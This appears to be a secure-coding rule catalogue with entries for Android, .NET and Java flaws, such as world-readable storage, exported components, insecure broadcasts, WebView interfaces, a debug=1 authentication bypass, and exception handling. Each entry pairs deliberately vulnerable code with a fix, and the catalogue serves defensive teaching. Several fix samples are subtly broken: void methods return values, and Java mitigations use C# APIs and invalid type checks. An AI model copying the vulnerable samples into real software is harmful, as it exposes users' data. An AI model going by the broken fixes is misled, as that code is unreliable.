	• CWE-915 • HIPAA Security Rule 45 CFR 164.312(a)(1) • HIPAA Security Rule 45 CFR 164.312(c)(2) • OWASP Top 10 A7 • PCI DSS 6.5.8

Storing Data on External Storage

Title	Storing Data on External Storage
Summary	The malicious applications can access users' sensitive files
Severity	Critical
Cost Fix	Medium
Trust Level	Medium
ID	

Description

Technology	ANDROID

Android supports external resources for storing and accessing directories for persistent storage capabilities. One of the most used such resources is SD Cards. Since these mediums usually support more disk space, it's tempting to store user data for a mobile application. However, these mediums are public, therefore, any other mobile application can also store and access the files written to SD Cards. Below shows such an example code;

```
File sdCard = Environment.getExternalStorageDirectory();
File dir = new File (sdCard.getAbsolutePath() + "/myapp/");
dir.mkdirs();
File file = new File(dir, "receipt.pdf");

FileOutputStream f = new FileOutputStream(file);
...
```

Mitigation

Technology	ANDROID

There are two solutions that can be utilized to store file securely;

- Writing to an external storage after sound encryption process
- Writing to application data directory

The code below shows the second solution;

```
public static void save(String filename, String content, Context ctx) {
  FileOutputStream fos;
```

```
 try
 {
   fos = ctx.openFileOutput(filename, Context.MODE_PRIVATE);
   fos.write(content.getBytes());
 }
 catch (FileNotFoundException e)
 {
   // handle exception
 }
 catch(IOException e)
 {
   // handle exception
 }
 finally
 {
   // close fos
 }
}
```

References	• CWE-922 • HIPAA Security Rule 45 CFR 164.312(a)(1) • OWASP Top 10 M2 • PCI DSS 6.5.8 • DRD00-J

Insecure Content Provider

Title	Insecure Content Provider
Summary	The malicious applications can query, access target applications' critical data
Severity	Critical
Cost Fix	Medium
Trust Level	Medium
ID	
Description	
Technology	ANDROID

Android supports content providers as an interface for managing access and sharing data with other applications. When configured in Android configuration file, AndroidManifest.xml, care should be taken in order not to open an application's content provider to other applications installed publicly.

Below shows a configuration definition of LiveDataProvider custom content provider which was denoted with *android:exported* attribute true value. This attribute value opens the data interface to all installed applications.

```
<?xml version="1.0" encoding="utf-8"?>
<manifest xmlns:android="http://schemas.android.com/apk/res/android" …>
...
  <provider android:exported="true" android:name="LiveDataProvider"
            android:authorities="com.example.livedataprovider" />
…
```

Interestingly, till Android API 16 (including) the default value of this attribute was *true*.

Mitigation	
Technology	ANDROID

Content providers may open a sensitive data interface for an application, therefore, they should be defined as private or restricted, as shown below.

```
<?xml version="1.0" encoding="utf-8"?>
<manifest xmlns:android="http://schemas.android.com/apk/res/android" …>
...
  <provider android:exported="false" android:name="LiveDataProvider"
            android:authorities="com.example.livedataprovider" />
```

For a restricted access, android:permission, android:readPermission and android:writePermission attributes may be utilized.

References	
	• CWE-922 • HIPAA Security Rule 45 CFR 164.312(a)(1) • OWASP Top 10 M2 • PCI DSS 6.5.8 • DRD01-X

Insecure Intent Broadcasting

Title	Insecure Intent Broadcasting
Summary	The malicious applications can get sensitive data by intercepting broadcasts

Severity	High
Cost Fix	Low
Trust Level	Medium
ID	

Description

Technology	ANDROID

Android supports *Intent*s as the messages between components such as activities, services and broadcast receivers. An application can broadcast any messages through *Intent*s to more than one application by using Context.sendBroadcast() API such as below;

```
Intent intent = new Intent();
intent.setAction("com.bankapp.ShowCCInfo");
intent.putExtra("CreditCard", creditcard);
sendBroadcast(intent);
```

Any other application that registers for receiving broadcasts, either in manifest file or in code, can intercept the sent credit card information.

Mitigation

Technology	ANDROID

In order to prevent any other application to receive broadcasted Intents, LocalBroadcastManager should be used instead. The broadcasts that are sent by this the instance of this class is only sent to local application, preventing any other application to register and receive global broadcasts.

```
Intent intent = new Intent();
intent.setAction("com.bankapp.ShowCCInfo");
intent.putExtra("CreditCard", creditcard);
LocalBroadcastManager.getInstance(this).sendBroadcast(intent);
```

Another but less secure alternative would be use sendBroadcast method with permission.

```
Intent intent = new Intent();
intent.setAction("com.bankapp.ShowCCInfo");
intent.putExtra("CreditCard", creditcard);
sendBroadcast(intent, “com.bankapp.SHOWCCPERMISSION”);
```

This way the interceptors should already had to gather the needed permission before getting the Intent sent through the broadcast.

References	• CWE-927 • HIPAA Security Rule 45 CFR 164.312(a)(1)

	• OWASP Top 10 M2 • PCI DSS 6.5.8 • DRD03-J

Granting URI Permissions With Intent Broadcasting

Title	Granting URI Permissions With Intent Broadcasting
Summary	The malicious applications can get sensitive data by intercepting broadcasts without any required permissions
Severity	High
Cost Fix	Low
Trust Level	Medium
ID	
Description	
Technology	ANDROID

Android supports *Intent*s as the messages between components such as activities, services and broadcast receivers. An application can broadcast any messages through *Intent*s to more than one application by using Context.sendBroadcast() API such as below;

```
Intent intent = new Intent();
intent.setAction("com.bankapp.ShowCCInfo");
intent.putExtra("CreditCard", creditcard);
sendBroadcast(intent);
```

Any other application that registers for receiving broadcasts, either in manifest file or in code, can intercept the sent credit card information.

It is wise to require READ and WRITE permissions for custom Content Providers for secure consumption. Here's an example;

```
<provider android:authorities="com.bankapp.contentprovider.MyContentProvider"
  android:exported="true"
  android:grantUriPermissions="true"
  android:name="com.bankapp.contentprovider.MyContentProvider"
  android:readPermission="android.permission.permRead"
  android:writePermission="android.permission.permWrite">
</provider>
```

Also, data stored in a custom content provider, such as produced mail attachments, can be referenced by URIs included in Intents. When the recipient of these Intents, such as a mail client application for sending the attachment, doesn't contain the required privilege, the sender of the Intent can send temporary permissions to the target applications through Intent flags such as below;

```
Intent attachment = new Intent(Intent.ACTION_SEND);
attachment.setType(type);
attachment.setData(uri)
attachment.putExtra(Intent.EXTRA_STREAM, uri);
attachment.putExtra(Intent.EXTRA_SUBJECT, title);
attachment.addFlags(Intent.FLAG_GRANT_READ_URI_PERMISSION);
sendBroadcast(attachment);
```

If this Intent is broadcasted any malicious application registered to receive this Intent, will be able to see the sensitive attachment.

Mitigation	
Technology	ANDROID

As a precaution, instead of implicit Intents, explicit Intents may be utilized as an alternative. Explicit Intents denote package names of specific applications, therefore, intercepting may not be possible by malicious applications.

However, when the package name is not known before hand for using explicit Intent, grantUriPermission might be used.

```
grantUriPermission("com.android.mail", uri, Intent.FLAG_GRANT_READ_URI_PERMISSION)
```

Two important notes for using *grantUriPermission*

1. The content provider owning the Uri must have set the *grantUriPermissions* attribute in its manifest or included the <grant-uri-permissions> tag.
2. Explicit call of *revokeUriPermission(Uri, int)* for revoking the permission from the target application

References	
	● CWE-927 ● HIPAA Security Rule 45 CFR 164.312(a)(1) ● OWASP Top 10 M2 ● PCI DSS 6.5.8 ● DRD05-J

Insecure Component Exposure

Title	Insecure Component Exposure

Summary	The malicious applications can trigger unauthorized sensitive operations on the target application
Severity	High
Cost Fix	Low
Trust Level	Low
ID	

Description

Technology	ANDROID

Components can be exported through Android configuration file. Exported components in an application can be activated/triggered by the outside applications through implicit or explicit Intents with broadcasting.

If an exported component doesn't validate the Intent that it is triggered with, then it may take inappropriate actions.

A component is exported if any of the followings is true;

- The value of the export attribute of the component definition in the configuration file (AndroidManifest.xml) is true
- The component definition in the configuration file (AndroidManifest.xml) has Intent filters defined

A possible vulnerable configuration definition for a content provider follows;

```
<manifest …>
 <provider android:name=".mydb" android:exported="true">
   <intent-filter>
   </intent-filter>
 </provider>
</manifest>
```

In the above configuration *.mydb* provider is exported.

As an another example, here's a broadcast receiver configuration that is exported implicitly;

```
<manifest …>
 <receiver android:name=".mysmssender">
   <intent-filter>
    <action android:name="android.intent.sendSMS"/>
   </intent-filter>
 </receiver>
</manifest>
```

In the above configuration *.mysmssender* broadcast receiver is exported since it registers an Intent for getting triggered. And lastly here's an example with Activity that is exported through declaring an IntentFilter.

```
<activity android:name=".media.uploadDialog">
  <intent-filter>
    <action android:name="jp.ACTION_UPLOAD" />
    <category android:name="android.intent.category.DEFAULT" />
    <data android:mimeType="image/*" />
    <data android:mimeType="video/*" />
  </intent-filter>
</activity>
```

In this type of attack, as long as the vulnerable components are exported, malicious applications can use either implicit or explicit *Intent*s to trigger the vulnerable components in the target application.

Mitigation

Technology	ANDROID

There are two possible ways of preventing malicious *Intent*s hitting the exported components.

- Check the caller's identity in the exported component
- Require strict permissions (protectionlevel signature) to call the exported component

For example a broadcast receiver that expects only Intents with system actions then upon receiving one (for example BATTERY_LOW), the action can be checked;

```
public class MyBroadcastRcvr extends BroadcastReceiver {

  @Override
  public void onReceive(Context ctxt, Intent i){
  if (!"android.intent.action.BATTERY_LOW".equals(i.getAction()))
  {
    return;
  }

  // continue as expected action
}
```

References	

- CWE-352
- HIPAA Security Rule 45 CFR 164.306(a)(1)
- HIPAA Security Rule 45 CFR 164.306(a)(2)
- OWASP Top 10 M6
- PCI DSS 6.5.9
- DRD05-J
- DRD09

Insecure Service Exposure

Title	Insecure Service Exposure
Summary	The malicious applications can make use of services without having appropriate permissions
Severity	High
Cost Fix	Low
Trust Level	Low
ID	
Description	
Technology	ANDROID

Components can be exported through Android configuration file. Exported components in an application can be activated/triggered by the outside applications through implicit or explicit Intents with broadcasting.

A component is exported if any of the followings is true;

- The value of the export attribute of the component definition in the configuration file (AndroidManifest.xml) is true
- The component definition in the configuration file (AndroidManifest.xml) has Intent filters defined

Exported services pose a greater risk since they run in the background which other components can bind to using *Intent*s with method APIs such as;

```
startService(Intent i)
bindService(Intent i, ServiceConnection conn, int flags)
```

This lets the binder to easily invoke methods that are declared in the target Service's interface.

An possible vulnerable configuration definition for a content provider follows;

```
<manifest …>
  <service android:name=".app.mysmssender" android:process=":remote" android:exported="true"/>
  ...
</manifest>
```

In the above configuration the services is exported, however, not protected by any

dangerous or signature level permissions.

In this type of attack, as long as the vulnerable components are exported, malicious applications can use either implicit or explicit *Intent*s to use and possibly leak information from the target service.

Mitigation

Technology	ANDROID

There are two possible ways of preventing malicious *Intent*s using the exported service.

- Check the caller's identity in the exported component
- Require strict permissions (protectionlevel signature) to call the exported component

A service can be protected with a new permission and the new permission can be declared such as:

```
<permission android:description="My Signature Level permission"
            android:name="my.signaturelevel.permission"
            android:protectionLevel="signature"/>
```

Requiring Signature or SignatureOrSystem permissions is an effective way of limiting a service exposure to a set of trusted components.

Checking these defined permissions may be done with configuration or code. Here's the configurational example;

```
<manifest …>
  <service android:name=".app.mysmssender"
           android:process=":remote"
           android:exported="true"
           android:permission="my.signaturelevel.permission" />
  ...
</manifest>
```

References	CWE-352 HIPAA Security Rule 45 CFR 164.306(a)(1) HIPAA Security Rule 45 CFR 164.306(a)(2) OWASP Top 10 M6 PCI DSS 6.5.9 DRD07-X

Insecure File Modifiers

Title	Insecure File Modifiers

Summary	The malicious applications can read sensitive data written by the target application
Severity	High
Cost Fix	Low
Trust Level	Medium
ID	

Description

Technology	ANDROID

Android applications can write data into the files, store data with shared preferences (application specific preferences file) or databases. When the data that gets communicated through with these methods is sensitive, only privileged applications (such as the application that produces this data) should access the target data.

MODE_PRIVATE is an access modifier defined in Android that can be used in storage APIs to make sure that the file produced is private. That is to say it can only be accessed by the application that produces it.

On the other hand when an application uses insecure modes of access modifiers, such as MODE_WORLD_READABLE or MODE_WORLD_WRITEABLE then unauthorized applications, too, find the opportunity to access these files.

```
import android.content.Context;
…

SharedPreferences sharedpreferences = getSharedPreferences(PREF, Context.MODE_WORLD_READABLE);
SharedPreferences.Editor editor = sharedpreferences.edit();
editor.putString(Name, name);
editor.putString(Phone, phone);
editor.putString(Email, email);
editor.commit();
```

Mitigation

Technology	ANDROID

If the data is sensitive, only MODE_PRIVATE should be used when outputting data to a file system; file, shared preferences or a database.

```
import android.content.Context;
…

SharedPreferences sharedpreferences = getSharedPreferences(PREF, Context.MODE_PRIVATE);
SharedPreferences.Editor editor = sharedpreferences.edit();
```

```
editor.putString(Name, name);
editor.putString(Phone, phone);
editor.putString(Email, email);
editor.commit();
```

References	
	• CWE-922 • HIPAA Security Rule 45 CFR 164.312(a)(1) • OWASP Top 10 M2 • PCI DSS 6.5.8 • DRD11

Insecure API Usage - addJavascriptInterface

Title	Insecure API Usage - addJavascriptInterface
Summary	The malicious websites can access internals of the target application
Severity	High
Cost Fix	Low
Trust Level	Medium
ID	
Description	
Technology	ANDROID

Android supports an ability of interaction between the content loaded into the WebView and the Android application itself. WebView.addJavascriptInterface API allows this interaction.

The WebSiteInterface below can be made accessible by the WebView content by using the addJavascriptInterface.

```
public class WebSiteInterface {
        Context context;

        WebSiteInterface(Context context) {
        this.context = context;
        }

        @JavascriptInterface
        public void showToast(String message) {
          Toast.makeText(mContext, message, Toast.LENGTH_LONG).show();
        }
```

```
        public Context getContext()
        {
        return context;
        }

        public void setContext(Context context)
        {
        this.context = context;
        }
}

…

WebView webview = (WebView) findViewById(R.id.webview);
webview.addJavascriptInterface(new WebSiteInterface(this), "injectedInterface");
webview.loadUrl("http://www.thirpartyapplication.com");
```

After the definition and the call, a loaded web site can access the interface's public methods that have *@JavascriptInterface* annotation. However, with Android API levels lower than 17, any public method can be accesses from within the Javascript such as;

```
<script type="text/javascript">
  var context = injectedInterface.getContext();
  // ...
</script>
```

Mitigation	
Technology	ANDROID
There are two options to prevent unauthorized access of Android application internals from a javascript loaded inside a WebView; ● Don't use addJavascriptInterface ● Target Android API level greater or equal to 17 and use *@JavascriptInterface* annotations with extreme caution	
References	● CWE-927 ● HIPAA Security Rule 45 CFR 164.312(a)(1) ● OWASP Top 10 M2 ● PCI DSS 6.5.8 ● DRD13

Insecure API Usage - Implicit Intent Usage in PendingIntent

Title	Insecure API Usage - Implicit Intent Usage in PendingIntent
Summary	An unauthorized application may use permissions of a target application

Severity	High
Cost Fix	Low
Trust Level	Medium
ID	

Description

Technology	ANDROID

Android supports *Intent*s as the messages between components such as activities, services and broadcast receivers. When an original application gives away an Intent to another target application, the target application runs the operations specified inside the Intent with its own permissions.

There's another kind of Intent which is called PendingIntents that can be used to transfer the original application permissions to the target application along with the Intent sent. This way the original application is granting to target application the right to perform the operation with the original application has specified and acquired, including the identity.

Therefore, the PendingIntents should not fall into the wrong hands according to the operation sensitivity included in the Intent. The PendingIntent may wrap explicit or implicit Intents and when a PendingIntent wraps an implicit Intent, it can be intercepted with unauthorized applications.

```
Intent intent = new Intent(ACTION_VIEW, Uri.parse("http://www.mybank.com/token/193avcAj3");
PendingIntent pendingIntent = PendingIntent.getBroadcast(this, 1, intent, 0);

// call the pendingintent in two seconds
AlarmManager alarmManager = (AlarmManager) getSystemService(ALARM_SERVICE);
alarmManager.set(AlarmManager.RTC_WAKEUP, System.currentTimeMillis() + 2000, pendingIntent);
```

The above code constructs an implicit Intent with sensitive data in it and wraps it with an PendingIntent which is broadcasted in 2 seconds with the permissions and identity of the original application.

Mitigation

Technology	ANDROID

PendingIntents should be used with caution. They should always wrap explicit Intent where the target application or component is trusted or known beforehand.

```
Intent intent = new Intent(this, MyReceiver.class);
PendingIntent pendingIntent = PendingIntent.getBroadcast(this, 1, intent, 0);
// call the pendingintent in two seconds
AlarmManager alarmManager = (AlarmManager) getSystemService(ALARM_SERVICE);
alarmManager.set(AlarmManager.RTC_WAKEUP, System.currentTimeMillis() + 2000, pendingIntent);
```

In order to send a PendingIntent to another application the original explicit Intent can be constructed with Intent.setComponent method, defining the full package and class name.	
References	• CWE-927 • HIPAA Security Rule 45 CFR 164.312(a)(1) • OWASP Top 10 M2 • PCI DSS 6.5.8 • DRD21-J

Code Quality

Incorrect Readonly Member

Title	Incorrect Readonly Member
Summary	Specifying an object or a collection member as private readonly doesn't mean that they are really readonly
Severity	Low
Cost Fix	Low
Trust Level	Medium
ID	

Description	A way of creating read only member variables for a class is to use private and readonly keywords together accompanied with a getter only property. Here's an example;
	
	public class Message
	{
	private readonly List<string> iList = new List<string>();
	public IEnumerable<string> MyList
	{
	get { return iList; }
	}
	...
	
	The basic intention here is to make *iList* to be a readonly field of the class, however, defining it as private readonly and returning it as *MyList* getter only property will allow the caller to be able to make modifications on *iList*.

Mitigation	For basic value types readonly works as expected, however, not for objects and collection types. For C# 6.0 defining readonly properties is possible using below; public class Message { public List<string> MyList { get; } …

	Otherwise ReadOnlyCollection can be utilized for collections
	
	public class Message
	{
	private List<string> iList = new List<string>();
	…
	// readonly collection wrapper to be returned
	var MyList = new ReadOnlyCollection<String>(iList);
	
	// or
	ReadOnlyCollection<string> readOnlyList = iList.AsReadOnly();

References	

Lack of Serializable Annotation

Title	Lack Of Serializable Annotation
Summary	Classes will not be serialized at runtime despite of the intention of making serializable
Severity	Low
Cost Fix	Medium
Trust Level	Medium
ID	

Description	If a class needs custom serialization methods (for example, requiring own binary serialization mechanism), it should implement *ISerializable* interface.
	
	However, only implementing this interface doesn't make a class serializable. The class should also hold a [Serializable] attribute.
	
	public class RemoteMessage : ISerializable
	{
	
	// custom serialize methods

Mitigation	Classes that implements *ISerializable* interface should also include *[Serializable]* data annotation in order to be serialized at runtime.

	[Serializable]
	public class RemoteMessage : ISerializable
	{
	
	  // custom serialize methods

References	

Insecure Comparison - Type Name

Title	Insecure Comparison - Type Name
Summary	Attackers can inject malicious types despite of a validation which takes type name into consideration
Severity	Low
Cost Fix	Low
Trust Level	High
ID	
Description	
Technology	.NET

Applications, from time to time, may need dynamic class loading in order to carry out certain requirements such as extensibility.

When loading a class, class name based validations may be bypassed by attackers by providing classes with names having seemingly valid type names. Below is such a code;

```
public void LoadAndExecute()
{
  // load a class instance

  if(loadedClass.GetType().Name == "MyClass")
  {
    loadedClass.Run();
  }
  else
  {
```

```
    throw new ArgumentException();
  }
...
```

Other insecure name based checks can also be used;

```
public void LoadAndExecute()
{
  // load a class instance

  if(loadedClass.GetType().FullName == "com.mywebportal.MyClass")
  {
    loadedClass.Run();
  }
  else
  {
    throw new ArgumentException();
  }
...
```

Technology	JAVA, ANDROID

Applications, from time to time, may need dynamic class loading in order to carry out certain requirements such as extensibility.

When loading a class, class name based validations may be bypassed by attackers by providing classes with names having seemingly valid type names. Below is such a code;

```
public void LoadAndExecute()
{
  // load a class instance

  if(loadedClass.getClass().getName().equals("MyClass"))
  {
    loadedClass.Run();
  }
  else
  {
    throw new ClassNotFoundException();
  }
...
```

Mitigation

Technology	.NET

Checking a class against its type name can be bypassed with the ability to create same

name malicious classes. Therefore, typeof statement might be used instead.

```
public void LoadAndExecute()
{
  // load a class instance

  if(loadedClass.GetType() == typeof(com.mywebportal.MyClass))
  {
    loadedClass.Run();
  }
  else
  {
    throw new ArgumentException();
  }
...
```

Technology	JAVA, ANDROID

Checking a class against its type name can be bypassed with the ability to create same name malicious classes. Therefore, typeof statement might be used instead.

```
public void LoadAndExecute()
{
  // load a class instance

  if(loadedClass.getClass().equals(com.mywebportal.MyClass))
  {
    loadedClass.Run();
  }
  else
  {
    throw new ClassNotFoundException();
  }
...
```

References	

Unnecessary Code Entrance

Title	Unnecessary Code Entrance
Summary	Debugging code left on the application may give attackers the extra information they need for attacking the target
Severity	Low

Cost Fix	Low
Trust Level	High
ID	

Description

Technology	.NET

Generally in a web application debugging code may present itself in different forms. One of these forms is the main method;

```
static int Main(string[] args)
{
        //...
        return 0;
}
```

The above is unnecessary for a web application and may contain critical security bugs and since they are outside the scope of a regular penetration testing (a form of dynamic security testing), the flow may give an attacker an unnecessary and unexpected advantage.

Similar example would be a URL parameter when set will bypass controls at the server side, for example;

```
http://www.vulnerable.com/Account/Authenticate?token=...&debug=1
```

The above URL, without the debug parameter, will check the token's validity and authenticates the request. But if the developer placed a kind of a backdoor that bypasses the authentication, for just purposes perhaps, in terms of a debug parameter, then the same will hold for an attacker, too. By presenting a *debug=1* parameter, he/she will authenticate without a valid token.

Technology	JAVA, ANDROID

Generally in a web application debugging code may present itself in different forms. One of these forms is the main method;

```
public static void main(String[] args) {
{
  //...
}
```

The above is unnecessary for a web application and may contain critical security bugs and since they are outside the scope of a regular penetration testing (a form of dynamic security testing), the flow may give an attacker an unnecessary and unexpected advantage.

Similar example would be a URL parameter when set will bypass controls at the server side, for example; http://www.vulnerable.com/Account/Authenticate?token=...&debug=1 The above URL, without the debug parameter, will check the token's validity and authenticates the request. But if the developer placed a kind of a backdoor that bypasses the authentication, for just purposes perhaps, in terms of a debug parameter, then the same will hold for an attacker, too. By presenting a *debug=1* parameter, he/she will authenticate without a valid token.

Mitigation	
Technology	.NET
Unnecessary entrance points in terms of any debugging code should not be left in the production code.	
Technology	JAVA, ANDROID
Unnecessary entrance points in terms of any debugging code should not be left in the production code.	
References	• CWE-489

Insecure Logging - System Output Stream

Title	Insecure Logging - System Output Stream
Summary	Upon an attack it's hard to research on the trails and find evidence against it
Severity	Low
Cost Fix	Low
Trust Level	High
ID	
Description	
Technology	.NET

Logging is one of the most critical actions that a developer must implement in order to provide a more secure software.

After an attack logs are is the place auditors should look and pinpoint the root of the vulnerability and any source of the attackers.

There are many more ways of logging; logging to database, filesystem, registry, events and the console. Logging to console will make the auditing part harder since it's not structured and persistent.

```
Console.WriteLine("ERROR: {0}\n",  exception.Message);
```

Technology	JAVA

Logging is one of the most critical actions that a developer must implement in order to provide a more secure software.

After an attack logs are is the place auditors should look and pinpoint the root of the vulnerability and any source of the attackers.

There are many more ways of logging; logging to database, filesystem, registry, events and the console. Logging to console will make the auditing part harder since it's not structured and persistent.

```
System.out.println("ERROR: " +  npe.getMessage());
```

Mitigation

Technology	.NET

Any logging attempt using *System.Console* should be replaced with one of the more stable, flexible and structured mechanism such as NLog, Elmah or Log4Net.

Technology	JAVA

Any logging attempt using *System.out* should be replaced with one of the more stable, flexible and structured mechanism such as log4j.

References	

Null Reference Exception

Title	Null Reference Exception
Summary	Null reference exceptions in a production environment always produce frustrations in customers and reflect back to developers as bug tickets
Severity	Medium
Cost Fix	Low
Trust Level	High
ID	

Description

Technology	.NET

Null reference exceptions occur when trying to dereference a reference which is null. In simpler terms it happens when trying to make an operation on a null value at runtime.

```
private void ToUpper(string fullName)
{
    return fullName.ToUpperInvariant();
}
```

The above code in method ToUpper doesn't check passed parameter fullName against null, therefore, at runtime there's a possibility of throwing *NullReferenceException*.

While this scenario is easy to understand and mitigated, *NullReferenceException*s can be thrown in various types of scenarios. As an example;

```
return Person.Accounts[i].Transfers[k].DestinationAccount;
```

The above code dereferences a lot of properties and each one of them has the possibility to throw *NullReferenceException*.

Technology	JAVA, ANDROID

Null reference exceptions occur when trying to dereference a reference which is null. In simpler terms it happens when trying to make an operation on a null value at runtime.

```
private void ToUpper(String fullName)
{
    return fullName.toUpperCase();
```

```
}
```

The above code in method ToUpper doesn't check passed parameter fullName against null, therefore, at runtime there's a possibility of throwing *NullPointerException*.

While this scenario is easy to understand and mitigated, *NullPointerExceptions* can be thrown in various types of scenarios. As an example;

```
return Person.Accounts[i].Transfers[k].DestinationAccount;
```

The above code dereferences a lot of properties and each one of them has the possibility to throw *NullPointerException*.

Mitigation

Technology	.NET

At the heart of the preventing *NullReferenceException*s lies solid exception handling and null checking. Every operation on members, arguments that has the possibility of being null should be checked, as such;

```
private void ToUpper(string fullName)
{
   if(!String.IsNullOrEmpty(fullName))
   {
      return fullName.ToUpperInvariant();
   }
   return String.Empty;
}
```

As for the next code example the checks should be multiplied for each possibly null containing properties;

```
if(Person != null)
{
   if(Person.Accounts[i] != null)
   {
      if(Person.Accounts[i].Transfers[k] != null)
      {
         return Person.Accounts[i].Transfers[k].DestinationAccount;
      }
      else
      {
         // error-handling
      }
   }
```

```
    else
    {
        // error-handling
    }
}
else
{
    // error-handling
}
```

Technology	JAVA, ANDROID

At the heart of the preventing *NullPointerException*s lies solid exception handling and null checking. Every operation on members, arguments that has the possibility of being null should be checked, as such;

```
private void ToUpper(String fullName)
{
    if(!String.IsNullOrEmpty(fullName))
    {
        return fullName.toUpperCase();
    }
    return String.Empty;
}
```

As for the next code example the checks should be multiplied for each possibly null containing properties;

```
if(Person != null)
{
    if(Person.Accounts[i] != null)
    {
        if(Person.Accounts[i].Transfers[k] != null)
        {
            return Person.Accounts[i].Transfers[k].DestinationAccount;
        }
        else
        {
            // error-handling
        }
    }
    else
    {
        // error-handling
    }
}
else
{
    // error-handling
```

}	
References	• CWE-476 HYPERLINK "https://cwe.mitre.org/data/definitions/348.html"

Ineffective Catch Block

Title	Ineffective Catch Block
Summary	Exception catch blocks with only logging may result in unstable system or denial of service
Severity	Low
Cost Fix	Medium
Trust Level	High
ID	
Description	
Technology	.NET

When handling an exception in catch blocks, we, developers, usually only log details with code such as below without thinking over what action should be taken further, too much;

```
try
{
   String wholeFile = File.ReadAllText(path);
}
catch(IOException ioe)
{
  logger.Error(ioe, “File exception occurred”, null);
}
```

Logging is an essential part of an exception handling, however, this is similar to ignoring the problem by without taking certain actions. For example, a resource acquired in the try block should have been released in the same catch block or better yet in a finally block.

Otherwise the resource will be reserved for an indeterminate amount of time, leaving system in possible denial of service situation.

Technology	JAVA, ANDROID

When handling an exception in catch blocks, we, developers, usually only log details with code such as below without thinking over what action should be taken further, too much;

```
try
{
   String wholeFile = FileUtils.readFileToString(path);
}
catch(IOException ioe)
{
  LOGGER.log(Level.SEVERE, “File exception occurred”, ioe);
}
```

Logging is an essential part of an exception handling, however, this is similar to ignoring the problem by without taking certain actions. For example, a resource acquired in the try block should have been released in the same catch block or better yet in a finally block.

Otherwise the resource will be reserved for an indeterminate amount of time, leaving system in possible denial of service situation.

Mitigation
While logging the exception and its details is important, it’s also important to take further smart actions against the exception such as releasing the locks or resources reserved in the try block right after the exception.

References	• CWE-391

Empty Catch Block

Title	Empty Catch Block
Summary	Swallowing exceptions may result in hackers go unnoticed when they send unexpected requests to a target application
Severity	Low
Cost Fix	Medium
Trust Level	High

ID	
Description	
Technology	.NET

Modern high-level language compilers are particularly picky about empty catch blocks since these style of coding usually points to bad quality code.

We, developers, usually suppress these compiler warnings with code such as below;

```
try
{
   String wholeFile = File.ReadAllText(path);
}
catch(IOException ioe)
{
   // happy compiler
  string happyCompiler = ioe.Message;
}
```

However, making any exception go unnoticed may help attackers to hide their trials and errors against the application. Additionally suppressing exception in this way will prevent any detail analysis against production problems.

Technology	JAVA, ANDROID

Modern high-level language compilers are particularly picky about empty catch blocks since these style of coding usually points to bad quality code.

We, developers, usually suppress these compiler warnings with code such as below;

```
try
{
   String wholeFile = FileUtils.readFileToString(path);
}
catch(IOException ioe)
{
   // happy compiler
  string happyCompiler = ioe.getMessage();
}
```

However, making any exception go unnoticed may help attackers to hide their trials and errors against the application. Additionally suppressing exception in this way will prevent any detail analysis against production problems.

Mitigation	
The recommended solution is catching all the relevant exceptions that can be thrown in the try block. This is not enough, however, since all the caught exceptions should be handled properly; ● ensuring the state of the program is not in an insecure one ● log the exception details ● notify application operation teams if the exception is a critical one	
References	● CWE-391

Generic Exception Catch Block

Title	Generic Exception Catch Block
Summary	Hiding specific exceptions may allow hackers actions go unnoticed when they send unexpected requests to a target application
Severity	Low
Cost Fix	Medium
Trust Level	High
ID	
Description	
Technology	.NET

In order not to think too much about the handling of specific exceptions we, developers, have an inclination towards writing overly broad exception handlers such as below code snippet;

```
try
{
   processFile();
}
catch(Exception e)
{
   logger.Error(e, “A file process exception occurred”, null);
}
```

There are more than one exception that can be thrown at runtime running the above code;

- FileNotFoundException
- FileFormatException
- DirectoryNotFoundException
- DriveNotFoundException

However, there's only one action when they occur. On the other hand, the fail safe actions that should be taken might differ from exception type to the other.

Thinking on handling and catching specific exceptions might allow us to catch an unusual behaviour and possibly catch a prospective attacker.

Technology	JAVA, ANDROID

In order not to think too much about the handling of specific exceptions we, developers, have an inclination towards writing overly broad exception handlers such as below code snippet;

```
try
{
   processFile();
}
catch(Exception e)
{
      LOGGER.log(Level.SEVERE, "File process exception occurred", e);
}
```

There are more than one exception that can be thrown at runtime running the above code;

- FileNotFoundException
- FileSystemException
- NotDirectoryException

However, there's only one action when they occur. On the other hand, the fail safe actions that should be taken might differ from exception type to the other.

Thinking on handling and catching specific exceptions might allow us to catch an unusual behaviour and possibly catch a prospective attacker.

Mitigation

An exception throwing code should be handled in detail. Instead of using a generic Exception type, the specific exceptions should be seeked and handled in the code, even the handling code used becomes to be duplicate. This way new exceptions that the

changed code introduces will be forced to be handled with care.	
References	• CWE-396

Lack of Equals Implementation

Title	Lack Of Equals Implementation
Summary	The attacker may take advantage of possible wrong Equals comparison of two custom objects
Severity	Low
Cost Fix	Medium
Trust Level	High
ID	
Description	
Technology	.NET

Every class extends System.Object and inherits System.Object.Equals default implementation. System.Object.Equals compares two objects equality by checking if these two objects are the same instances. This comparison semantic might not be the intended equality check for custom classes' instances.

```
var object1 = new CustomClass("bob", 34);
var object2 = new CustomClass("bob", 34);

if(object1.Equals(object2))
{
   // according to default Equals imp. Code never gets here
}
```

Given the above code, if CustomClass doesn't override the Equals method, the equality check will fail. However, the intended semantic might tell that they are equal because of the same first name and age.

Technology	JAVA, ANDROID

Every class extends java.lang.Object and inherits java.lang.Object.equals default implementation. java.lang..Object.Equals compares two objects equality by checking if these two objects are the same instances. This comparison semantic might not be the intended equality check for custom classes' instances.

```
CustomClass object1 = new CustomClass("bob", 34);
CustomClass object2 = new CustomClass("bob", 34);

if(object1.equals(object2))
{
   // according to default equals imp. Code never gets here
}
```

Given the above code, if CustomClass doesn't override the equals method, the equality check will fail. However, the intended semantic might tell that they are equal because of the same first name and age.

Mitigation

Technology	.NET

When a custom class is implemented, inherited Equals method should be implemented in order to have the correct equality semantic.

```
public override bool Equals(System.Object obj)
{
   // If parameter is null return false.
   if (obj == null)
   {
      return false;
   }

   // If parameter cannot be casted to CustomClass return false.
   CustomClass c = obj as CustomClass;
   if ((System.Object)c == null)
   {
      return false;
   }

   // Return true if the fields match:
   return (firstname == c.FirstName) && (age == c.Age);
}
```

Technology	JAVA, ANDROID

When a custom class is implemented, inherited equals method should be implemented in order to have the correct equality semantic.

```
@Override
public bool equals(System.Object obj)
{
    // If parameter is null return false.
    if (obj == null)
    {
        return false;
    }

    // If parameter cannot be casted to CustomClass return false.
    if (! (obj instanceof CustomClass))
    {
        return false;
    }

    CustomClass c = (CustomClass) obj;
    // Return true if the fields match:
    return (firstname == c.getFirstName()) && (age == c.getAge());
}
```

References	• CWE-595

Use of Manual Garbage Collect

